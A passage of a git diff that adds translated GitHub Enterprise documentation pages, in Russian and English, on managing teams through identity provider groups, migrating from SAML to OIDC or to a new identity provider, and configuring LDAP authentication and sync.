+ - Accounts +children: + - /about-enterprise-managed-users + - /configuring-saml-single-sign-on-for-enterprise-managed-users + - /configuring-oidc-for-enterprise-managed-users + - /configuring-scim-provisioning-for-enterprise-managed-users + - /configuring-scim-provisioning-for-enterprise-managed-users-with-okta + - /managing-team-memberships-with-identity-provider-groups + - /about-support-for-your-idps-conditional-access-policy + - /migrating-from-saml-to-oidc + - /migrating-your-enterprise-to-a-new-identity-provider-or-tenant +ms.openlocfilehash: 9292b5c297dcdb785f6fa8c1fe723aa7a3d2b608 +ms.sourcegitcommit: 37dad7113bae5f057310ab9db39bb56326cce3df +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/22/2022 +ms.locfileid: '148104717' +--- + diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups.md b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups.md new file mode 100644 index 000000000000..31567f145ddf --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups.md @@ -0,0 +1,89 @@ +--- +title: Управление членством в группах поставщиков удостоверений +shortTitle: Manage teams with your IdP +intro: 'Вы можете управлять членством в группах и организациях в {% data variables.product.product_name %} с помощью поставщика удостоверений (IdP) путем подключения групп поставщика удостоверений к командам в {% data variables.enterprise.prodname_emu_enterprise %}.' +product: '{% data reusables.gated-features.emus %}' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups + - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups + - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups + - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/managing-team-memberships-with-identity-provider-groups +versions: + ghec: '*' +type: how_to +topics: + - Accounts + - Enterprise + - SSO + - Teams +ms.openlocfilehash: 179835d6642cd5718a565869337b5420b29407a5 +ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160827' +--- +## Сведения об управлении командами с помощью {% data variables.product.prodname_emus %}. + +С помощью {% data variables.product.prodname_emus %} вы можете управлять членством в команде и организации в организации через поставщика удостоверений, подключая команды {% data variables.product.prodname_dotcom %} к группам поставщика удостоверений. При подключении команды в одной из организаций предприятия к группе поставщика удостоверений изменения членства в этой группе отражаются в организации автоматически, благодаря чему не нужно обновлять их вручную или с помощью пользовательских скриптов. + +Если изменение группы поставщика удостоверений или нового подключения к команде приведет к присоединению {% data variables.enterprise.prodname_managed_user %} к команде в организации, в ней он еще не был членом, {% data variables.enterprise.prodname_managed_user %} будет автоматически добавлен в организацию. При отключении группы от команды пользователи, которые стали членами организации с помощью членства в команде, удаляются из организации, если им не назначено членство в организации другими средствами. + +{% note %} + +**Примечание:** Владельцы организации также могут добавить {% data variables.enterprise.prodname_managed_users %} в организации вручную, если учетные записи уже подготовлены с помощью SCIM. + +{% endnote %} + +При изменении членства в группе поставщика удостоверений ваш поставщик удостоверений отправляет в {% data variables.product.prodname_dotcom_the_website %} запрос SCIM с изменениями в соответствии с расписанием, определенным вашим поставщиком удостоверений, поэтому изменение может вступить в силу не сразу. Все запросы, которые изменяют членство в команде или организации, регистрируются в журнале аудита в качестве изменений, внесенных учетной записью, используемой для настройки подготовки пользователей. + +Команды, подключенные к группам поставщика удостоверений, не могут выступать в качестве родительских или дочерних элементов для других команд. Если команда, которую вы хотите подключить к группе поставщика удостоверений, является родительской или дочерней командой, рекомендуется создать новую команду или удалить вложенные связи, которые делают вашу команду родительской. + +Для управления доступом к репозиторию для любой команды в предприятии, включая команды, подключенные к группе поставщика удостоверений, необходимо внести изменения на {% data variables.product.prodname_dotcom_the_website %}. Дополнительные сведения см. в статье [Управление доступом команды к репозиторию организации](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository). + +## Требования для подключения групп поставщика удостоверений к командам + +Прежде чем вы сможете подключить группу поставщика удостоверений к команде в {% data variables.product.prodname_dotcom %}, необходимо назначить группу приложению {% data variables.product.prodname_emu_idp_application %} в поставщике удостоверений. Дополнительные сведения см. в разделе [Сведения о подготовке SCIM для {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users). + +Вы можете подключить команду в предприятии к одной группе поставщика удостоверений. Одну группу поставщика удостоверений можно назначить нескольким командам в предприятии. + +При подключении существующей команды к группе поставщика удостоверений необходимо сначала удалить всех участников, добавленных вручную. После подключения команды в предприятии к группе поставщика удостоверений администратор поставщика удостоверений должен внести изменения в членство в команде с помощью поставщика удостоверений. Вы не можете управлять членством в команде на {% data variables.product.prodname_dotcom_the_website %}. + +## Создание новой команды, подключенной к группе поставщика удостоверений + +Любой член организации может создать новую команду и подключить ее к группе поставщика удостоверений. + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.new_team %} {% data reusables.organizations.team_name %} {% data reusables.organizations.team_description %} +1. Чтобы подключить команду, выберите раскрывающееся меню "Группы поставщика удостоверений" и выберите команду, которую вы хотите подключить. + ![Раскрывающееся меню для выбора групп поставщика удостоверений](/assets/images/help/teams/choose-an-idp-group.png) {% data reusables.organizations.team_visibility %} {% data reusables.organizations.create_team %} + +## Управление подключением между существующей командой и группой поставщика удостоверений + +Владельцы организации и координаторы команды могут управлять существующим подключением между группой поставщика удостоверений и командой. + +{% note %} + +**Примечание.** Прежде чем подключить существующую команду на {% data variables.product.prodname_dotcom_the_website %} к группе поставщика удостоверений в первый раз, необходимо сначала удалить всех участников команды на {% data variables.product.prodname_dotcom_the_website %}. Дополнительные сведения см. в статье [Удаление членов организации из команды](/github/setting-up-and-managing-organizations-and-teams/removing-organization-members-from-a-team). + +{% endnote %} + +{% data reusables.profile.access_profile %} + +{% data reusables.profile.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} +1. При необходимости в разделе "Группа поставщика удостоверений" справа от группы поставщика удостоверений, которую нужно отключить, нажмите {% octicon "x" aria-label="X symbol" %}. + ![Отмена подключения выбранной группы поставщика удостоверений от команды GitHub](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png) +1. Чтобы подключить группу поставщика удостоверений, в разделе "Группа поставщика удостоверений" в раскрывающемся меню выберите группу поставщика удостоверений. + ![Раскрывающееся меню для выбора группы поставщика удостоверений](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png) +1. Нажмите кнопку **Сохранить изменения**. + +## Просмотр групп поставщика удостоверений, членства в группах и подключенных команд + +Вы можете просмотреть список групп поставщика удостоверений, команды, подключенные к группе поставщика удостоверений, а также членство в каждой группе в {% data variables.product.product_name %}. Необходимо изменить членство в группе у поставщика удостоверений. + +{% data reusables.enterprise-accounts.access-enterprise %} +1. Чтобы просмотреть список групп поставщика удостоверений, на левой боковой панели выберите {% octicon "key" aria-label="The key icon" %} **Поставщик удостоверений**. + ![Снимок экрана: вкладка "Поставщик удостоверений" на боковой панели предприятия](/assets/images/help/enterprises/enterprise-account-identity-provider-tab.png) +2. Чтобы просмотреть участников и команды, подключенные к группе поставщика удостоверений, щелкните имя группы. + ![Снимок экрана: список групп поставщика удостоверений, выделено имя группы](/assets/images/help/enterprises/select-idp-group.png) +4. Чтобы просмотреть команды, подключенные к группе поставщика удостоверений, щелкните **Команды**. + ![Снимок экрана: кнопка "Команды"](/assets/images/help/enterprises/idp-groups-team-switcher.png) diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc.md b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc.md new file mode 100644 index 000000000000..1d10031b842f --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc.md @@ -0,0 +1,59 @@ +--- +title: Migrating from SAML to OIDC +shortTitle: Migrating from SAML to OIDC +intro: 'If you''re using SAML to authenticate members in your {% data variables.enterprise.prodname_emu_enterprise %}, you can migrate to OpenID Connect (OIDC) and benefit from support for your IdP''s Conditional Access Policy.' +product: '{% data reusables.gated-features.emus %}' +versions: + feature: oidc-for-emu +topics: + - Accounts + - Authentication + - Enterprise + - SSO +--- + +{% data reusables.enterprise-accounts.oidc-beta-notice %} + +## About migrating your {% data variables.enterprise.prodname_emu_enterprise %} from SAML to OIDC + +If your {% data variables.enterprise.prodname_emu_enterprise %} uses SAML SSO to authenticate with Azure Active Directory (Azure AD), you can migrate to OIDC. {% data reusables.enterprise-accounts.emu-cap-validates %} + +When you migrate from SAML to OIDC, {% data variables.enterprise.prodname_managed_users %} and groups that were previously provisioned for SAML but are not provisioned by the {% data variables.product.prodname_emu_idp_oidc_application %} application will have "(SAML)" appended to their display names. + +If you're new to {% data variables.product.prodname_emus %} and haven't yet configured authentication for your enterprise, you do not need to migrate and can set up OIDC single sign-on immediately. For more information, see "[Configuring OIDC for Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)." + +## Migrating your enterprise + +{% note %} + +**Note:** To sign in as the setup user, you will need a recovery code. If you do not already have your recovery codes, you can access the codes while signed in as an enterprise owner. For more information, see "[Downloading your enterprise account's single sign-on recovery codes](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes)." + +{% endnote %} + +1. Before you begin the migration, sign in to Azure and disable provisioning in the existing {% data variables.product.prodname_emu_idp_application %} application. +1. If you use [Conditional Access (CA) network location policies](https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/location-condition) in Azure AD, and you're currently using an IP allow list with your enterprise account or any of the organizations owned by the enterprise account on {% data variables.product.prodname_dotcom_the_website %}, disable the IP allow lists. For more information, see "[Enforcing security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)" and "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization)." +1. Sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user for your enterprise with the username **@SHORT-CODE_admin**. +1. When prompted to continue to your identity provider, click **Use a recovery code** and sign in using one of your enterprise's recovery codes. +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +1. At the bottom of the page, next to "Migrate to OpenID Connect single sign-on", click **Configure with Azure**. + {% warning %} + + **Warning:** The migration can take up to an hour, and it is important that no users are provisioned during the migration. You can confirm if the migration is still in progress by returning to your enterprise's security settings page; if "Require SAML authentication" is still checked, the migration is still in progress. + + {% endwarning %} + + ![Screenshot showing the "Configure with Azure" button](/assets/images/help/enterprises/saml-to-oidc-button.png) +1. Read both warnings and click to continue. +{% data reusables.enterprise-accounts.emu-azure-admin-consent %} +1. In a new tab or window, while signed in as the setup user on {% data variables.product.prodname_dotcom_the_website %}, create a {% data variables.product.pat_v1 %} with the **admin:enterprise** scope and **no expiration** and copy it to your clipboard. For more information about creating a new token, see "[Creating a {% data variables.product.pat_generic %}](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users#creating-a-personal-access-token)." +1. In the settings for the {% data variables.product.prodname_emu_idp_oidc_application %} application in Azure Portal, under "Tenant URL", type `https://api.github.com/scim/v2/enterprises/YOUR_ENTERPRISE`, replacing YOUR_ENTERPRISE with the name of your enterprise account. + + For example, if your enterprise account's URL is `https://github.com/enterprises/octo-corp`, the name of the enterprise account is `octo-corp`. +1. Under "Secret token", paste the {% data variables.product.pat_v1 %} with the **admin:enterprise** scope that you created earlier. +1. To test the configuration, click **Test Connection**. +1. To save your changes, at the top of the form, click **Save**. +1. In Azure Portal, copy the users and groups from the old {% data variables.product.prodname_emu_idp_application %} application to the new {% data variables.product.prodname_emu_idp_oidc_application %} application. +1. Test your configuration by provisioning a single new user. +1. If your test is successful, start provisioning for all users by clicking **Start provisioning**. diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-your-enterprise-to-a-new-identity-provider-or-tenant.md b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-your-enterprise-to-a-new-identity-provider-or-tenant.md new file mode 100644 index 000000000000..6617637f801b --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-your-enterprise-to-a-new-identity-provider-or-tenant.md @@ -0,0 +1,58 @@ +--- +title: Migrating your enterprise to a new identity provider or tenant +shortTitle: Migrate to new IdP or tenant +intro: 'You can migrate your enterprise to a different identity provider (IdP) or Azure AD tenant.' +product: '{% data reusables.gated-features.emus %}' +versions: + feature: idp-tenant-migration +topics: + - Access management + - Accounts + - Administrator + - Authentication + - Enterprise + - SSO +--- + +## About migrations between IdPs and tenants + +While using {% data variables.product.prodname_emus %}, you may need to migrate your enterprise to a new IdP or Azure AD tenant. For example, you might be ready to migrate from a test environment to your production environment. + +Before you migrate your {% data variables.enterprise.prodname_emu_enterprise %} to a new IdP or tenant, determine whether the values of the normalized SCIM `userName` attribute will remain the same for your {% data variables.enterprise.prodname_managed_users %} in the new environment. For more information about username normalization, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)." + +If the normalized SCIM `userName` values will remain the same after the migration, you can complete the migration by yourself. For instructions, see "[Migrating when the normalized SCIM `userName` values will remain the same](#migrating-when-the-normalized-scim-username-values-will-remain-the-same)." + +If the normalized SCIM `userName` values will change after the migration, {% data variables.product.company_short %} will need to help with your migration. For more information, see "[Migrating when the normalized SCIM `userName` values will change](#migrating-when-the-normalized-scim-username-values-will-change)." + +## Migrating when the normalized SCIM `userName` values will remain the same + +To migrate to a new IdP or tenant, you cannot edit your existing SAML configuration. Instead, you must completely deactivate SAML for your enterprise account, then create new SAML and SCIM configurations for the new IdP or tenant. + +{% warning %} + +**Warning:** Do not remove any users or groups from the application for {% data variables.product.prodname_emus %} in your original IdP or tenant until after your migration is complete. + +{% endwarning %} + +1. If you don't already have single sign-on recovery codes for your enterprise, download the codes now. For more information, see "[Downloading your enterprise account's single sign-on recovery codes](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes)." +1. In your current IdP, deactivate provisioning in the application for {% data variables.product.prodname_emus %}. + - If you use Azure AD, navigate to the "Provisioning" tab of the application, and then click **Stop provisioning**. + - If you use Okta, navigate to the "Provisioning" tab of the application, click the **Integration** tab, and then click **Edit**. Deselect **Enable API integration**. +1. Use a recovery code to sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user, whose username is your enterprise's shortcode suffixed with `_admin`. For more information about the setup user, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#getting-started-with-enterprise-managed-users)." + +1. Deactivate SAML for the {% data variables.enterprise.prodname_emu_enterprise %}. + - From your profile, click **Your enterprises**, and then click the appropriate enterprise. + - Click {% octicon "gear" aria-label="The Settings gear" %} **Settings**, and then click **Authentication security**. + - Under "SAML single sign-on", deselect **Require SAML authentication**, and then click **Save**. + +1. Wait for all users in the enterprise to show as suspended. + +1. While still signed in as the setup user, configure SAML and SCIM for the new IdP or tenant with a new {% data variables.product.prodname_emus %} application. + + After you configure provisioning for the new application, the {% data variables.enterprise.prodname_managed_users %} will be unsuspended, and your developers will be able to sign into their existing accounts again. + + By default, this process can take up to 40 minutes for Azure AD. To expedite the process for an individual user, click the **Provision on Demand** button in the "Provisioning" tab of the application for {% data variables.product.prodname_emus %}. + +## Migrating when the normalized SCIM `userName` values will change + +If the normalized SCIM `userName` values will change, {% data variables.product.company_short %} must provision a new enterprise account for your migration. [Contact our sales team](https://github.com/enterprise/contact) for help. \ No newline at end of file diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md b/translations/ru-RU/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md new file mode 100644 index 000000000000..67af5b858642 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md @@ -0,0 +1,10 @@ +--- +title: Using LDAP for enterprise IAM +shortTitle: LDAP for enterprise IAM +intro: 'You can centrally manage accounts and access to {% data variables.location.product_location %} by integrating with your existing LDAP directory.' +versions: + ghes: '*' +children: + - /using-ldap +--- + diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap.md b/translations/ru-RU/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap.md new file mode 100644 index 000000000000..76be5319bfe2 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap.md @@ -0,0 +1,216 @@ +--- +title: Использование протокола LDAP +redirect_from: + - /enterprise/admin/articles/configuring-ldap-authentication + - /enterprise/admin/articles/about-ldap-authentication + - /enterprise/admin/articles/viewing-ldap-users + - /enterprise/admin/hidden/enabling-ldap-sync + - /enterprise/admin/hidden/ldap-sync + - /enterprise/admin/user-management/using-ldap + - /enterprise/admin/authentication/using-ldap + - /admin/authentication/using-ldap + - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap + - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-ldap +intro: 'Если для централизации доступа между приложениями используется протокол LDAP, можно интегрировать {% data variables.product.product_name %}, настроив проверку подлинности LDAP для своего экземпляра.' +versions: + ghes: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity +ms.openlocfilehash: 5d9b6aa9a5d641afa0b24dbe0e0f446ab723c735 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107528' +--- +## Сведения о проверке подлинности LDAP для {% data variables.product.product_name %} + +LDAP — это популярный протокол приложений для доступа к информационным службам каталога и его обслуживания. Это один из наиболее распространенных протоколов, применяемых для интеграции стороннего программного обеспечения с пользовательскими каталогами крупных компаний. Дополнительные сведения см. в разделе [Упрощенный протокол доступа к каталогам](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol) в Википедии. + +Если вы используете каталог LDAP для централизованной проверки подлинности, можно настроить проверку подлинности LDAP для пользователей{% data variables.location.product_location %}. + +{% data reusables.enterprise_user_management.built-in-authentication %} + +## Поддерживаемые службы LDAP + +{% data variables.product.prodname_ghe_server %} интегрируется со следующими службами LDAP: + +* Active Directory +* FreeIPA +* Oracle Directory Server Enterprise Edition +* OpenLDAP +* Open Directory +* 389-ds + +## Рекомендации по использованию имен пользователей в LDAP + +{% data reusables.enterprise_user_management.consider-usernames-for-external-authentication %} Дополнительные сведения см. в разделе [Рекомендации по использованию имени пользователя для внешней проверки подлинности](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication). + +## Настройка LDAP с помощью {% data variables.location.product_location %} + +После настройки протокола LDAP пользователи смогут входить в ваш экземпляр с помощью своих учетных данных LDAP. При первом входе пользователей имена их профилей, адреса электронной почты и ключи SSH будут заданы с помощью атрибутов LDAP из вашего каталога. + +При настройке доступа LDAP для пользователей с помощью {% data variables.enterprise.management_console %} ваши лицензии "на пользователя" не используются, пока пользователь не выполнит первый вход в ваш экземпляр. Однако если вы создаете учетную запись вручную с помощью параметров администратора сайта, лицензия "на пользователя" будет учитываться сразу же. + +{% warning %} + +**Предупреждение:** Перед настройкой LDAP в {% data variables.location.product_location %} убедитесь, что служба LDAP поддерживает страничные результаты. + +{% endwarning %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %} +3. В разделе "Проверка подлинности" выберите **LDAP**. +![Выбор LDAP](/assets/images/enterprise/management-console/ldap-select.png) +4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Флажок выбора встроенной проверки подлинности LDAP](/assets/images/enterprise/management-console/ldap-built-in-authentication.png) +5. Добавьте параметры конфигурации. + +## Атрибуты LDAP +Используйте эти атрибуты, чтобы завершить настройку LDAP для {% data variables.location.product_location %}. + +| Имя атрибута | Тип | Описание | +|--------------------------|----------|-------------| +| `Host` | Обязательно | Узел LDAP, например `ldap.example.com` или `10.0.0.30`. Если имя узла доступно только из внутренней сети, может потребоваться сначала настроить DNS {% data variables.location.product_location %}, чтобы разрешить имя узла с помощью внутренних серверов доменных имен. | +| `Port` | Обязательно | Порт, в котором прослушиваются службы LDAP узла. Примеры: 389 и 636 (для LDAPS). | +| `Encryption` | Обязательно | Метод шифрования, используемый для защиты взаимодействия с сервером LDAP. Примеры: обычный (без шифрования), SSL/LDAPS (шифрование с самого начала) и StartTLS (обновление до зашифрованного взаимодействия после подключения). | +| `Domain search user` | Необязательно | Пользователь LDAP, который ищет других пользователей, входящих в систему, чтобы разрешить проверку подлинности. Обычно это учетная запись службы, созданная специально для интеграции сторонних пользователей. Используйте полное имя, такое как `cn=Administrator,cn=Users,dc=Example,dc=com`. В Active Directory можно также использовать синтаксис `[DOMAIN]\[USERNAME]` (например `WINDOWS\Administrator`) для пользователя поиска домена в Active Directory. | +| `Domain search password` | Необязательно | Пароль для пользователя поиска домена. | +| `Administrators group` | Необязательно | Уровень пользователей в этой группе повышается до администраторов сайта при входе на ваше устройство. Если вы не настроите группу администраторов LDAP, до администратора сайта будет повышен уровень первой учетной записи пользователя LDAP, вошедшей на устройство. | +| `Domain base` | Обязательно | Полное `Distinguished Name` (DN) поддерева LDAP, в котором требуется выполнить поиск пользователей и групп. Можно добавить сколько угодно имен, однако каждая группа должна быть определена в той же доменной базе, что и пользователи, которые к ней относятся. Если вы указываете ограниченные группы пользователей, то будут охвачены только пользователи, принадлежащие этим группам. Рекомендуется указать верхний уровень дерева каталогов LDAP в качестве доменной базы и использовать ограниченные группы пользователей для управления доступом. | +| `Restricted user groups` | Необязательно | Если эти группы указаны, вход будет разрешен только пользователям в этих группах. Указывать следует только общие имена (CN) групп, и можно добавить сколько угодно групп. Если группы не указаны, *все* пользователи в пределах указанной доменной базы смогут входить в ваш экземпляр {% data variables.product.prodname_ghe_server %}. | +| `User ID` | Обязательно | Атрибут LDAP, определяющий пользователя LDAP, который пытается пройти проверку подлинности. После установки сопоставления пользователи могут изменить свои имена пользователей {% data variables.product.prodname_ghe_server %}. Для большинства установок Active Directory это поле будет иметь значение `sAMAccountName`, но для других решений LDAP, например OpenLDAP, это может быть значение `uid`. Значение по умолчанию — `uid`. | +| `Profile name` | Необязательно | Имя, которое будет отображаться на странице профиля пользователя {% data variables.product.prodname_ghe_server %}. Если синхронизация LDAP не включена, пользователи могут изменять свои имена профилей. | +| `Emails` | Необязательно | Адреса электронной почты для учетной записи пользователя {% data variables.product.prodname_ghe_server %}. | +| `SSH keys` | Необязательно | Открытые ключи SSH, подключенные к учетной записи пользователя {% data variables.product.prodname_ghe_server %}. Ключи должны быть в формате OpenSSH. | +| `GPG keys` | Необязательно | Ключи GPG, подключенные к учетной записи пользователя {% data variables.product.prodname_ghe_server %}. | +| `Disable LDAP authentication for Git operations` | Необязательно |Если выбрать этот атрибут, для пользователей будет [отключена](#disabling-password-authentication-for-git-operations) возможность проверки подлинности операций Git с помощью паролей LDAP. | +| `Enable LDAP certificate verification` | Необязательно |Если выбрать этот атрибут, будет [включена](#enabling-ldap-certificate-verification) проверка сертификатов LDAP. | +| `Synchronization` | Необязательно |Если выбрать этот атрибут, будет [включена](#enabling-ldap-sync) синхронизация LDAP. | + +### Отключение проверки паролей для операций Git + +Выберите **Отключить проверку подлинности по имени пользователя и паролю для операций Git** в параметрах LDAP, чтобы принудительно использовать {% data variables.product.pat_generic %}s или ключи SSH для доступа Git, что может помочь предотвратить перегрузку сервера запросами проверки подлинности LDAP. Рекомендуется использовать этот параметр, так как сервер LDAP отличается довольно медленным откликом, и в сочетании с большим количеством запросов из-за опроса часто является источником проблем с производительностью и сбоев. + +![Флажок отключения проверки паролей LDAP для Git](/assets/images/enterprise/management-console/ldap-disable-password-auth-for-git.png) + +Если этот флажок установлен, то при попытке использования пароля для операций Git в командной строе пользователь получит следующее сообщение об ошибке: `Password authentication is not allowed for Git operations. You must use a {% data variables.product.pat_generic %}.` + +### Включение проверки сертификата LDAP + +Выберите **Включить проверку сертификата LDAP** в параметрах LDAP, чтобы выполнялась проверка сертификата сервера LDAP, используемого с TLS. + +![Флажок включения проверки сертификата LDAP](/assets/images/enterprise/management-console/ldap-enable-certificate-verification.png) + +Если этот флажок установлен, выполняются следующие проверки сертификата. +- Если сертификат содержит хотя бы одно альтернативное имя субъекта (SAN), проверяется, соответствует ли одно из имен SAN имени узла LDAP. В противном случае проверяется соответствие общего имени (CN) имени узла LDAP. +- Сертификат является действительным на текущую дату. +- Сертификат подписан доверенным центром сертификации (ЦС). + +### Включение синхронизации LDAP + +{% note %} + +**Примечание.** В командах, использующих синхронизацию LDAP, может быть не более 1499 членов. + +{% endnote %} + +Синхронизация LDAP позволяет синхронизировать пользователей и членов групп {% data variables.product.prodname_ghe_server %} с установленными группами LDAP. Это позволяет устанавливать управление доступом на основе ролей для пользователей с сервера LDAP, вместо того чтобы делать это вручную в {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. в разделе [Создание команд](/enterprise/admin/guides/user-management/creating-teams#creating-teams-with-ldap-sync-enabled). + +Чтобы включить синхронизацию LDAP, в параметрах LDAP выберите **Синхронизировать электронную почту**, **Синхронизировать ключи SSH** или **Синхронизировать ключи GPG**. + +![Флажок синхронизации](/assets/images/enterprise/management-console/ldap-synchronize.png) + +После включения синхронизации LDAP в указанный интервал времени будет запущено задание синхронизации для выполнения следующих операций с каждой учетной записью пользователя. + +- Если вы разрешили встроенную проверку подлинности для пользователей за пределами вашего поставщика удостоверений, и пользователь использует встроенную проверку подлинности, задание синхронизации переходит к следующему пользователю. +- Если для пользователя не существует сопоставления LDAP, выполняется попытка сопоставить пользователя с записью LDAP в каталоге. Если пользователя не удается сопоставить с записью LDAP, задание синхронизации блокирует этого пользователя и переходит к следующему пользователю. +- Если в каталоге отсутствует и сопоставление LDAP, и соответствующая запись LDAP, этот пользователь блокируется и выполняется переход к следующему пользователю. +- Если соответствующая запись LDAP помечена как отключенная, а пользователь еще не заблокирован, этот пользователь блокируется и выполняется переход к следующему пользователю. +- Если соответствующая запись LDAP не помечена как отключенная, а пользователь заблокирован, и при этом в Центре администрирования включена _повторная активация заблокированных пользователей_, этот пользователь разблокируется. +- Если в экземпляре настроена одна или несколько ограниченных групп пользователей, а соответствующая запись LDAP не входит в одну из этих групп, пользователь блокируется. +- Если в экземпляре настроена одна или несколько ограниченных групп пользователей, соответствующая запись LDAP находится в одной из этих групп, и в Центре администрирования включена _повторная активация заблокированных пользователей_, пользователь разблокируется. +- Если соответствующая запись LDAP содержит атрибут `name`, имя профиля пользователя обновляется. +- Если соответствующая запись LDAP находится в группе "Администраторы", уровень пользователя повышается до администратора сайта. +- Если соответствующая запись LDAP отсутствует в группе "Администраторы", уровень пользователя понижается до обычной учетной записи. +- Если для электронной почты определено поле "Пользователь LDAP", параметры электронной почты пользователя синхронизируются с записью LDAP. Первая запись LDAP `mail` устанавливается в качестве основного адреса электронной почты. +- Если для открытых ключей SSH определено поле "Пользователь LDAP", открытые ключи SSH пользователя синхронизируются с записью LDAP. +- Если для ключей GPG определено поле "Пользователь LDAP", ключи GPG пользователя синхронизируются с записью LDAP. + +{% note %} + +**Примечание.** Записи LDAP можно пометить как отключенные, только если вы используете Active Directory, и атрибут `userAccountControl` присутствует и помечен как `ACCOUNTDISABLE`. Некоторые варианты Active Directory, например AD LDS и ADAM, не поддерживают атрибут `userAccountControl`. + +{% endnote %} + +Задание синхронизации также будет запускаться в указанный интервал времени, чтобы в каждой команде, сопоставленной с группой LDAP, выполнить следующие операции. + +- Если соответствующая группа LDAP команды удалена, из команды удаляются все участники. +- Если записи членов LDAP удалены из группы LDAP, соответствующие пользователи удаляются из команды. Если пользователь больше не является членом какой-либо команды в организации и не является владельцем организации, удалите его из организации. Если пользователь в результате теряет доступ к любым репозиториям, удаляются все частные вилки репозиториев, которые есть у этого пользователя. + + {% note %} + + **Примечание:** Синхронизация LDAP не удаляет пользователя из организации, если пользователь является владельцем этой организации. Вместо этого другому владельцу организации потребуется вручную удалить пользователя. + + {% endnote %} +- Если записи членов LDAP добавлены в группу LDAP, соответствующие пользователи добавляются в команду. Если в результате пользователь восстанавливает доступ к каким-либо репозиториям, восстанавливаются все частные вилки репозиториев, удаленные из-за потери пользователем доступа за последние 90 дней. + +{% data reusables.enterprise_user_management.ldap-sync-nested-teams %} + +{% warning %} + +**Предупреждение системы безопасности.** + +Если синхронизация LDAP включена, администраторы сайта и владельцы организации могут искать в каталоге LDAP группы для сопоставления команд. + +Это может привести к раскрытию подрядчикам или другим непривилегированным пользователям конфиденциальной организационной информации, включая следующее: + +- существование определенных групп LDAP, видимых *пользователю поиска домена*; +- членов группы LDAP, имеющих учетные записи пользователей {% data variables.product.prodname_ghe_server %}, которые раскрываются при создании группы, синхронизированной с этой группой LDAP. + 